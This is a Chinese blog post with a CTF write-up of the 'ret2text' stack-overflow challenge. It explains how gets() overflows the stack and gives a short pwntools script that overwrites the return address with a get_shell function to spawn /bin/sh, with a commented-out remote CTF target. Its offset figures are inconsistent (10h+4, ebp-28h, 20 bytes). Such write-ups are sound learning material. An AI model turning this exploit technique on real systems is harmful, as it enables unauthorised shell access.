ret2text

今天看到一个很有意思的比喻:

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听气,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把切听器当作Shellcode吧!

ret2text

💡 Tips:checksec 32位 NX

 

 

💡 Tips:主函数: 进入:vulnerable();

 

 

💡 Tips:发现gets 漏洞 【距离ebp 10h】

栈溢出的漏洞 ——gets函数(无限输入造成栈溢出)

栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。堆栈数据结构的两种基本操作:

  • push:将数据压入栈顶
  • pop :将栈顶数据弹出

什么是栈溢出呢?栈溢出是指向向栈中写入了超出限定长度的数据,如果我们计算好溢出的长度,编写好溢出数据,让我们想要的地址数据正好覆盖到gets()函数是C中的危险函数之一,它不进行边界检查。

在实际的栈溢出中,我们劫持程序的流程,一般会修改返回地址到shellcode或者内存中已经有的一段指令(ROP),一些具体的攻击利用技术

列一些C中会发生缓冲区溢出的危险函数:

  • gets()
  • strcpy
  • strcat
  • sprintf

 

 

 

💡 Tips:在get_shell函数中找到了 system(“bin/sh”)

 

 

💡 Tips:找到它(get_shell)的位置0x8048522

覆盖上这个get_shell的地址

这个函数唯一的作用就是调用system("/bin/sh")打开一个bash shell,从而可以执行shell命令与系统本身进行交互

 

 

 

💡结合pwntools打造一个远程代码执行漏洞exp

攻击目标就是获得一个shell——命令解释器。当我们获得了一个shell也就意味对方服务器上可以解释我们也就是用户的命令。这样就代表我们有攻击成功。就是用system函数去输入一个'/bin/sh'字符串。

pwntools提供了一个更方便的函数p32( )(即pack32位地址,同样的还有unpack32位地址的u32( )以及不同位数p64() 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h] ==> 0x28+0x4

所以我们的payload就是(10h+4)*'A'+p32(0x8048522)

 

1 from pwn import *
2 io=process("./ret2text")#攻击本地
3 #io = remote('node4.buuoj.cn',26728)攻击服务器,远程端口
4 payload = 'a' * 20 +p32(0x8048522)
5 io.sendline(payload)
6 io.interactive()

 

攻击本地获得本地文件flag 还可ls 得到 桌面列表

posted @ 2022-05-12 21:02  lypp冲冲冲  阅读(62)  评论(0)    收藏  举报
/*每日诗词上*/